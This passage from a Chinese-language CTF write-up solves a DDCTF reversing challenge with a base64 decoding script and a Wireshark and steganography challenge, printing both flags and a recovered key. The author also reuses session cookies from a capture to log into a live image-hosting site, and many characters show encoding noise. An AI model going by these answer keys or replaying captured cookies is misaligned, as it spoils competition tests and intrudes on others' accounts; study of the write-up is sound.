}
}
v10 = Size;
v11 = v25;
memset(v25, 0, Size + 1);
v12 = Src;
if ( v29 < 0x10 )
v12 = &Src;
memcpy(v11, v12, v10);
v31 = -1;
v13 = std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string<char,std::char_traits<char>,std::allocator<char>>();
sub_40145E(v13, v14, (unsigned int)&Dst ^ v30, v17, v15, v16, Dst);
}
可以看出最后進(jìn)行了一個(gè)base64編碼過程
分析結(jié)果
所以函數(shù)執(zhí)行邏輯就是,先將傳入的16進(jìn)制字符串轉(zhuǎn)成byte[]數(shù)組,然后將這個(gè)byte[]數(shù)組進(jìn)行base64編碼,最后將編碼結(jié)果包上DDCTF{}后與'DDCTF{reverse+}'進(jìn)行比較,判斷正確的十六進(jìn)制字符串即為flag.
最后附上python腳本:
import base64
res='reverse+'
b=base64.b64decode(res)
print('DDCTF{'+b.hex().upper()+'}')
flag: DDCTF{ADEBDEAEC7BE}
0x8 Wireshark
首先三板斧走起
首先看看協(xié)議統(tǒng)計(jì),發(fā)現(xiàn)沒有FTP,HTTP倒是有很多
嘗試到出對(duì)象,可以看到倆multipart/form-data提交的數(shù)據(jù),這是二進(jìn)制提交的,保存下來
跟蹤下提交請(qǐng)求的http流,可以發(fā)現(xiàn)是在上傳圖片
檢查上傳信息
可以找到一些cookie,能夠成功登陸上圖床,但是沒有什么線索
查看其他http請(qǐng)求
我們可以發(fā)現(xiàn)第一個(gè)請(qǐng)求的網(wǎng)站有些不太一樣
http://tools.jb51.net/aideddesign/img_add_info
打開看看,可以發(fā)現(xiàn)是一個(gè)圖片隱藏信息的網(wǎng)站,那么目標(biāo)就很明確了
解密出隱寫的圖片
隱寫
這是一個(gè)瀏覽器端的處理,所以網(wǎng)絡(luò)請(qǐng)求里肯定沒有相關(guān)線索了
算法的js代碼是開源的https://github.com/oakes/PixelJihad
看了下也找不到什么漏洞,到網(wǎng)站上無密碼也不能解密
問題就只能從圖片本身入手了
圖片
一共有兩張圖,從小的那個(gè)鑰匙圖開始
首先祭出Stegsolve
查看通道和frame無果
那么嘗試修改圖片寬度和高度,發(fā)現(xiàn)一個(gè)key:xS8niJM7
很顯然是另一個(gè)圖的密碼了
試試,可得到flag
注意
- 導(dǎo)出的對(duì)象需要進(jìn)行修整,用啥都行,dd命令/各種hex編輯器/自己寫個(gè)腳本
- 圖片提取方式如果不當(dāng)會(huì)損壞圖片信息,雖然表面看上去沒有區(qū)別